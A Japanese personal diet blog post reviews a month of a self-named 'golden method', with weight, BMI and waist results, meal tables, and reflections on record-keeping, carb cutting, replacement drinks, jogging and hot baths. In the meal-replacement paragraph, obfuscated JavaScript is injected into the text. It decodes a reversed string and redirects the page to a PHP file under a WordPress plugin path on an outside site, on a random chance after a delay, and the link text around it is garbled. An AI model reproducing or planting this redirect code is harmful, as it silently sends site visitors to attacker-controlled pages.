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黄金メソッド一カ月の成果とまとめ。

黄金メソッド一カ月の成果とまとめ。
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黄金メソッドの一カ月(30日)の成果をまとめてみる。

 

成果

【体重】 73kg ⇒ 63.8kg (マイナス9.2kg)
【BMI】 26.59 ⇒ 23.24 (マイナス3.35)
【腹囲】 88.5cm ⇒ 77.7cm (マイナス10.8cm)


正面

0_30day_front

側面

0_30day_side

 


 グラフ

30day_graph2

体重がBMIの線を下まわっていたが、体重が減るにつれ目盛りが増えまた平行線に。

参考記事(ダイエット20日目 体重がBMIを下回るのはゴールデンクロス?)

 

つまり、健康ゴールデンクロスは一度きりではなく目標体重に達するまで数回おこるということ。

クロスしたから安心というわけではなく、目標を達成することでさらに高い目標が自動で更新されるんだね。人間と違ってこいつは正確でストイックだ。

 

20day_30day_graph

↑20日(左図)でクロスしているが、30日(右図)で見てみると平行線に戻っているのが分かる。このまま行くと二度目のクロスがまっているわけだ。

使用アプリに関する記事(ダイエットのモチベーションを保つツール)


 食事

 朝昼夜で登場した食事と回数。※登場回数1回のものは除外。

 

朝食 登場回数
味噌汁 15
豆腐 13
ミキサー&ヨーグルト 11
納豆 7
ふわ玉ビーンズ(納豆×卵) 5
バナナ 4
トマト 3
黒酢ジュース 3

 

昼食 回数
キャベツの千切り 18
ゴーヤチャンプルー 17
ヨーグルト(はちみつ8回・ブルーベリー4回・マンゴー4回) 16
野菜ジュース100% 12
チキン 9
にしんの塩焼き 7
納豆 7
黄金サラダ 3
レバー 3
サラダ 3
ふわ玉ビーンズ(納豆×卵) 3
豆腐ハンバーグ 2
豆腐 2
味噌汁 2
アクエリアス 2
バナナ 2

 

夕食 回数
ナチュラルヘルシースタンダード(アサイーバナナ) 27
ナチュラルヘルシースタンダード(マンゴー) 2

 


 まとめ

 【効果的だと感じたこと】

・記録
とにかく記録することが一番。モチベーションを保つことがとにかく大変なので自分の今置かれている状況を記録して見直すことで、近い目標を定めやすくなる。

・糖質制限
炭水化物(米とかパンとか)を抜いたことが非常に効果的だったと思うんだけど、正直しんどい。食材同士を組み合わせて名前なんかつけたりすると愛着がわいて続けたくなる(ふわ玉ビーンズとか黄金サラダとか…)。

・置き換え
仕事をしているので夕飯はすごい楽しみにしている分、余計に食べてしまう。これをドリンクで置き換えることで確実にカロリーを抑えることができた。 $p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andard.html” target=”_blank”>使用ドリンク(Natural Healthy Standom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andard. /ナチュラルヘルシースタンダード)

・ジョギング
いきなりジョギングをして筋肉痛になったのは今ではいい思い出。走っていて気分が高まる曲集をいくつか作ってiPhoneにつめたのがモチベーションを高めた(JAM Project最高!!)。ジョグ前の筋トレはきついけど、ジョグしてすぐに汗かくことが出来るから効果的。

・風呂
最近ようやく気付いた重要性。高温の風呂に肩までつかって休憩を数回はさむ高温反復浴は今では日課。体調悪いときは絶対避けたほうがいいくらいハードだが、ゆえに効果的。
参考記事(ダイエット28日目 どうしても運動する時間がない時は高温反復浴!)

 

【考察】

効果的と感じたものを上げてみると、個々でダイエットの方法としてすでに存在しているものばかりだった。

つまり、自分にあったダイエット法を組み合わせることで、自分に一番効果的なメソッドができあがるんだと思う。

ダイエットもトライ&エラーで常に進化する必要があるのかもね。

形を変えるダイエット方法

それが「黄金メソッド」ってことで。

(よし、うまくまとめた)

 

【目標】

体重60kg!

できる!絶対やれる!

それまでは記録欠かさず、それからも自分管理は怠らず!

 

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